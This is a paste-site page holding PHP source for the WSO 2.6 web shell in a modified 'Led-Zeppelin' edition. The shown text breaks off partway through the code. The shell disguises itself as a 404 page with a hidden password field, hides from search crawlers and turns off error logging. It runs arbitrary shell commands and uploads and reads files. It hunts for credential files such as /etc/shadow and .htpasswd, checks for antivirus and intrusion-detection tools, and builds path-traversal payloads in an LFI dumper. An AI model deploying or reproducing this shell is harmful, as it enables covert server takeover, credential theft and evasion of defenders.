Untitled

From Anonymous, 3 Years ago, written in Plain Text, viewed 239 times.
URL https://paste.bugabuse.net/view/1438359 Embed
Download Paste or View Raw
  1. <?php
  2. $auth_pass = "5f4dcc3b5aa765d61d8327deb882cf99";
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11.         header('HTTP/1.0 404 Not Found');
  12.         exit;
  13.     }
  14. }
  15.  
  16. @session_start();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('WSO_VERSION', '2.6');
  23.  
  24. if(get_magic_quotes_gpc()) {
  25.     function WSOstripslashes($array) {
  26.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  27.     }
  28.     $_POST = WSOstripslashes($_POST);
  29. }
  30.  
  31. function wsoLogin() {
  32.     die("<html><head>
  33. <title>404 Not Found</title>
  34. </head><body>
  35. <h1>Not Found</h1>
  36. <div style='position: absolute; right: 0; overflow:hidden; '><form method=post>
  37. <input type=password name=pass>
  38. </form></div>
  39. <p>The requested URL was not found on this server.</p>
  40. <hr>
  41. <address>Apache Server at  ".$_SERVER["HTTP_HOST"]." Port 80 </address>
  42. <center>
  43. <style>
  44. input { margin:0;background-color:#fff;border:1px solid #fff;width: 1px; }
  45. </style>
  46. <center>
  47. </center>
  48. </body></html>");
  49. }
  50.  
  51. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  52.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  53.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  54.     else
  55.         wsoLogin();
  56.  
  57. if(strtolower(substr(PHP_OS,0,3)) == "win")
  58.     $os = 'win';
  59. else
  60.     $os = 'nix';
  61.  
  62. $safe_mode = @ini_get('safe_mode');
  63. if(!$safe_mode)
  64.     error_reporting(0);
  65.  
  66. $disable_functions = @ini_get('disable_functions');
  67. $home_cwd = @getcwd();
  68. if(isset($_POST['c']))
  69.     @chdir($_POST['c']);
  70. $cwd = @getcwd();
  71. if($os == 'win') {
  72.     $home_cwd = str_replace("\", "/", $home_cwd);
  73.     $cwd = str_replace("", "/", $cwd);
  74. }
  75. if( $cwd[strlen($cwd)-1] != '/' )
  76.     $cwd .= '/';
  77.  
  78. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  79.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  80.  
  81. if($os == 'win')
  82.     $aliases = array(
  83.         "List Directory" => "dir",
  84.         "Find index.php in current dir" => "dir /s /w /b index.php",
  85.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  86.         "Show active connections" => "netstat -an",
  87.         "Show running services" => "net start",
  88.         "User accounts" => "net user",
  89.         "Show computers" => "net view",
  90.         "ARP Table" => "arp -a",
  91.         "IP Configuration" => "ipconfig /all"
  92.     );
  93. else
  94.     $aliases = array(
  95.           "List dir" => "ls -lha",
  96.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  97.           "show opened ports" => "netstat -an | grep -i listen",
  98.         "process status" => "ps aux",
  99.         "Find" => "",
  100.           "find all suid files" => "find / -type f -perm -04000 -ls",
  101.           "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  102.           "find all sgid files" => "find / -type f -perm -02000 -ls",
  103.           "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  104.           "find config.inc.php files" => "find / -type f -name config.inc.php",
  105.           "find config* files" => "find / -type f -name "config*"",
  106.           "find config* files in current dir" => "find . -type f -name "config*"",
  107.           "find all writable folders and files" => "find / -perm -2 -ls",
  108.           "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  109.           "find all service.pwd files" => "find / -type f -name service.pwd",
  110.           "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  111.           "find all .htpasswd files" => "find / -type f -name .htpasswd",
  112.           "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  113.           "find all .bash_history files" => "find / -type f -name .bash_history",
  114.           "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  115.           "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  116.           "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  117.         "Locate" => "",
  118.           "locate httpd.conf files" => "locate httpd.conf",
  119.         "locate vhosts.conf files" => "locate vhosts.conf",
  120.         "locate proftpd.conf files" => "locate proftpd.conf",
  121.         "locate psybnc.conf files" => "locate psybnc.conf",
  122.         "locate my.conf files" => "locate my.conf",
  123.         "locate admin.php files" =>"locate admin.php",
  124.         "locate cfg.php files" => "locate cfg.php",
  125.         "locate conf.php files" => "locate conf.php",
  126.         "locate config.dat files" => "locate config.dat",
  127.         "locate config.php files" => "locate config.php",
  128.         "locate config.inc files" => "locate config.inc",
  129.         "locate config.inc.php" => "locate config.inc.php",
  130.         "locate config.default.php files" => "locate config.default.php",
  131.         "locate config* files " => "locate config",
  132.         "locate .conf files"=>"locate '.conf'",
  133.         "locate .pwd files" => "locate '.pwd'",
  134.         "locate .sql files" => "locate '.sql'",
  135.         "locate .htpasswd files" => "locate '.htpasswd'",
  136.         "locate .bash_history files" => "locate '.bash_history'",
  137.         "locate .mysql_history files" => "locate '.mysql_history'",
  138.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  139.         "locate backup files" => "locate backup",
  140.         "locate dump files" => "locate dump",
  141.         "locate priv files" => "locate priv"
  142.     );
  143.  
  144. function wsoHeader() {
  145.     if(empty($_POST['charset']))
  146.         $_POST['charset'] = $GLOBALS['default_charset'];
  147.     global $color;
  148.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  149. <style>
  150. body{background-color:#444;color:#e1e1e1;}
  151. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  152. table.info{ color:#fff;background-color:#222; }
  153. span,h1,a{ color: $color !important; }
  154. span{ font-weight: bolder; }
  155. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  156. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  157. a{ text-decoration:none; }
  158. a:hover{ text-decoration:underline; }
  159. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  160. .bigarea{ width:100%;height:250px; }
  161. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  162. form{ margin:0px; }
  163. #toolsTbl{ text-align:center; }
  164. .toolsInp{ width: 300px }
  165. .main th{text-align:left;background-color:#5e5e5e;}
  166. .main tr:hover{background-color:#5e5e5e}
  167. .l1{background-color:#444}
  168. .l2{background-color:#333}
  169. pre{font-family:Courier,Monospace;}
  170. </style>
  171. <script>
  172.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  173.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  174.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  175.     var p1_ = '" . ((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  176.     var p2_ = '" . ((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  177.     var p3_ = '" . ((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  178.     var d = document;
  179.     function set(a,c,p1,p2,p3,charset) {
  180.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  181.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  182.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  183.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  184.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  185.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  186.     }
  187.     function g(a,c,p1,p2,p3,charset) {
  188.         set(a,c,p1,p2,p3,charset);
  189.         d.mf.submit();
  190.     }
  191.     function a(a,c,p1,p2,p3,charset) {
  192.         set(a,c,p1,p2,p3,charset);
  193.         var params = 'ajax=true';
  194.         for(i=0;i<d.mf.elements.length;i++)
  195.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  196.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  197.     }
  198.     function sr(url, params) {
  199.         if (window.XMLHttpRequest)
  200.             req = new XMLHttpRequest();
  201.         else if (window.ActiveXObject)
  202.             req = new ActiveXObject('Microsoft.XMLHTTP');
  203.         if (req) {
  204.             req.onreadystatechange = processReqChange;
  205.             req.open('POST', url, true);
  206.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  207.             req.send(params);
  208.         }
  209.     }
  210.     function processReqChange() {
  211.         if( (req.readyState == 4) )
  212.             if(req.status == 200) {
  213.                 var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
  214.                 var arr=reg.exec(req.responseText);
  215.                 eval(arr[2].substr(0, arr[1]));
  216.             } else alert('Request error!');
  217.     }
  218. </script>
  219. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  220. <form method=post name=mf style='display:none;'>
  221. <input type=hidden name=a>
  222. <input type=hidden name=c>
  223. <input type=hidden name=p1>
  224. <input type=hidden name=p2>
  225.  
  226. <input type=hidden name=p3>
  227. <input type=hidden name=charset>
  228. </form>";
  229.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  230.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  231.     $totalSpace = $totalSpace?$totalSpace:1;
  232.     $release = @php_uname('r');
  233.     $kernel = @php_uname('s');
  234.     if(!function_exists('posix_getegid')) {
  235.         $user = @get_current_user();
  236.         $uid = @getmyuid();
  237.         $gid = @getmygid();
  238.         $group = "?";
  239.     } else {
  240.         $uid = @posix_getpwuid(posix_geteuid());
  241.         $gid = @posix_getgrgid(posix_getegid());
  242.         $user = $uid['name'];
  243.         $uid = $uid['uid'];
  244.         $group = $gid['name'];
  245.         $gid = $gid['gid'];
  246.     }
  247.  
  248.     $cwd_links = '';
  249.     $path = explode("/", $GLOBALS['cwd']);
  250.     $n=count($path);
  251.     for($i=0; $i<$n-1; $i++) {
  252.         $cwd_links .= "<a href='#' onclick='g("FilesMan","";
  253.         for($j=0; $j<=$i; $j++)
  254.             $cwd_links .= $path[$j].'/';
  255.         $cwd_links .= "")'>".$path[$i]."/</a>";
  256.     }
  257.  
  258.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  259.     $opt_charsets = '';
  260.     foreach($charsets as $item)
  261.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  262.  
  263.     $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
  264.     if(!empty($GLOBALS['auth_pass']))
  265.         $m['Logout'] = 'Logout';
  266.     $m['Self remove'] = 'SelfRemove';
  267.     $menu = '';
  268.     foreach($m as $k => $v)
  269.         $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(''.$v.'',null,'','','')">'.$k.'</a>]</th>';
  270.  
  271.     $drives = "";
  272.     if($GLOBALS['os'] == 'win') {
  273.         foreach(range('c','z') as $drive)
  274.         if(is_dir($drive.':\'))
  275.             $drives .= '<a href="#" onclick="g('FilesMan',''.$drive.':/')">[ '.$drive.' ]</a> ';
  276.     }
  277.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  278.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  279.        . ' <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g('FilesMan','' . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' . $drives . '</td>'
  280.        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  281.        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  282. }
  283.  
  284. function wsoFooter() {
  285.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  286.     echo "
  287.  
  288. </div>
  289. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  290.     <tr>
  291.         <td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  292.         <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  293.     </tr><tr>
  294.         <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  295.         <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  296.  
  297.     </tr><tr>
  298.         <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  299.         <td><form method='post' ENCTYPE='multipart/form-data'>
  300.         <input type=hidden name=a value='FilesMAn'>
  301.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  302.         <input type=hidden name=p1 value='uploadFile'>
  303.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  304.         <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  305.  
  306.     </tr></table><center>WSO Bugabuse.net edition - Modified by Led-Zeppelin</center></div></body></html>";
  307. }
  308.  
  309. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  310.     function posix_getpwuid($p) {return false;} }
  311. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  312.     function posix_getgrgid($p) {return false;} }
  313.  
  314. function wsoEx($in) {
  315.     $out = '';
  316.     if (function_exists('exec')) {
  317.         @exec($in,$out);
  318.         $out = @join("n",$out);
  319.     } elseif (function_exists('passthru')) {
  320.         ob_start();
  321.         @passthru($in);
  322.         $out = ob_get_clean();
  323.     } elseif (function_exists('system')) {
  324.         ob_start();
  325.         @system($in);
  326.         $out = ob_get_clean();
  327.     } elseif (function_exists('shell_exec')) {
  328.         $out = shell_exec($in);
  329.     } elseif (is_resource($f = @popen($in,"r"))) {
  330.         $out = "";
  331.         while(!@feof($f))
  332.             $out .= fread($f,1024);
  333.         pclose($f);
  334.     }
  335.     return $out;
  336. }
  337. function wsoViewSize($s) {
  338.     if($s >= 1073741824)
  339.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  340.     elseif($s >= 1048576)
  341.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  342.     elseif($s >= 1024)
  343.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  344.     else
  345.         return $s . ' B';
  346. }
  347.  
  348. function wsoPerms($p) {
  349.     if (($p & 0xC000) == 0xC000)$i = 's';
  350.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  351.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  352.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  353.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  354.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  355.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  356.     else $i = 'u';
  357.     $i .= (($p & 0x0100) ? 'r' : '-');
  358.     $i .= (($p & 0x0080) ? 'w' : '-');
  359.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  360.     $i .= (($p & 0x0020) ? 'r' : '-');
  361.     $i .= (($p & 0x0010) ? 'w' : '-');
  362.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  363.     $i .= (($p & 0x0004) ? 'r' : '-');
  364.     $i .= (($p & 0x0002) ? 'w' : '-');
  365.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  366.     return $i;
  367. }
  368.  
  369. function wsoPermsColor($f) {
  370.     if (!@is_readable($f))
  371.         return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  372.     elseif (!@is_writable($f))
  373.         return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  374.     else
  375.         return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  376. }
  377.  
  378. if(!function_exists("scandir")) {
  379.     function scandir($dir) {
  380.         $dh  = opendir($dir);
  381.         while (false !== ($filename = readdir($dh)))
  382.             $files[] = $filename;
  383.         return $files;
  384.     }
  385. }
  386.  
  387. function wsoWhich($p) {
  388.     $path = wsoEx('which ' . $p);
  389.     if(!empty($path))
  390.         return $path;
  391.     return false;
  392. }
  393.  
  394. function actionSecInfo() {
  395.     wsoHeader();
  396.     echo '<h1>Server security information</h1><div class=content>';
  397.     function wsoSecParam($n, $v) {
  398.         $v = trim($v);
  399.         if($v) {
  400.             echo '<span>' . $n . ': </span>';
  401.             if(strpos($v, "n") === false)
  402.                 echo $v . '<br>';
  403.             else
  404.                 echo '<pre class=ml1>' . $v . '</pre>';
  405.         }
  406.     }
  407.  
  408.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  409.     if(function_exists('apache_get_modules'))
  410.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  411.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  412.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  413.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  414.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  415.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  416.     $temp=array();
  417.     if(function_exists('mysql_get_client_info'))
  418.         $temp[] = "MySql (".mysql_get_client_info().")";
  419.     if(function_exists('mssql_connect'))
  420.         $temp[] = "MSSQL";
  421.     if(function_exists('pg_connect'))
  422.         $temp[] = "PostgreSQL";
  423.     if(function_exists('oci_connect'))
  424.         $temp[] = "Oracle";
  425.     wsoSecParam('Supported databases', implode(', ', $temp));
  426.     echo '<br>';
  427.  
  428.     if($GLOBALS['os'] == 'nix') {
  429.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>":'no');
  430.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g("FilesTools", "etc", "shadow")'>[view]</a>":'no');
  431.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  432.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  433.         if(!$GLOBALS['safe_mode']) {
  434.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  435.             $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  436.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  437.             echo '<br>';
  438.             $temp=array();
  439.             foreach ($userful as $item)
  440.                 if(wsoWhich($item))
  441.                     $temp[] = $item;
  442.             wsoSecParam('Userful', implode(', ',$temp));
  443.             $temp=array();
  444.             foreach ($danger as $item)
  445.                 if(wsoWhich($item))
  446.                     $temp[] = $item;
  447.             wsoSecParam('Danger', implode(', ',$temp));
  448.             $temp=array();
  449.             foreach ($downloaders as $item)
  450.                 if(wsoWhich($item))
  451.                     $temp[] = $item;
  452.             wsoSecParam('Downloaders', implode(', ',$temp));
  453.             echo '<br/>';
  454.             wsoSecParam('HDD space', wsoEx('df -h'));
  455.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  456.         }
  457.     } else {
  458.         wsoSecParam('OS Version',wsoEx('ver'));
  459.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  460.         wsoSecParam('User Accounts',wsoEx('net user'));
  461.     }
  462.     echo '</div>';
  463.     wsoFooter();
  464. }
  465. function actionlfiscan() {
  466.     wsoHeader();
  467.     print '
  468.    <h3>Led-Zeppelin's LFI File dumper</h3>
  469.  
  470.    <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  471.       LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  472.          <option value="1">
  473.             Access Log
  474.          </option>
  475.  
  476.          <option value="2">
  477.             httpd.conf
  478.          </option>
  479.  
  480.          <option value="3">
  481.             Error Log
  482.          </option>
  483.          <option value="4">
  484.             php.ini
  485.          </option>
  486.          <option value="5">
  487.             MySQL
  488.          </option>
  489.          <option value="6">
  490.             FTP
  491.          </option>
  492.          <option value="7">
  493.             Environ
  494.          </option>
  495.       </select> Null: <select name="null">
  496.          <option value="">
  497.             Yes
  498.          </option>
  499.  
  500.          <option value="">
  501.             No
  502.          </option>
  503.       </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  504.    </form>';
  505.    error_reporting(0);
  506.       if($_POST['lfiurl']) {
  507.          print "<pre>";
  508.          $cheader = $_POST['custom_header'];
  509.          $target = $_POST['lfiurl'];
  510.          $type = $_POST['scantype'];
  511.          $byte1 = $_POST['null'];
  512.          $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  513.          $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  514.          $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  515.          $lfiaccess = array(
  516.             1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  517.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  518.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  519.             4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  520.             5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  521.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  522.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  523.             8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  524.             9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  525.             10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  526.             11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  527.             12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  528.             13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  529.             14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  530.             15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  531.             16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  532.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  533.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  534.             19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  535.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  536.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  537.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  538.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  539.        
  540.          $lfierror = array(
  541.             1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  542.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  543.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  544.             4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  545.             5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  546.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  547.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  548.             8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  549.             9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  550.             10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  551.             11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  552.             12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  553.             13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  554.             14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  555.             15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  556.             16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  557.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  558.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  559.             19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  560.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  561.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  562.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  563.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  564.  
  565.          $lficonfig = array(
  566.             1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  567.             2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  568.             3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  569.             4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  570.             5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  571.             6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  572.             7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  573.             8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  574.             9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  575.             10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  576.             11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  577.             12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  578.             13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  579.             14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  580.             15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  581.             16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  582.             17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  583.             18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  584.             19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  585.             20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
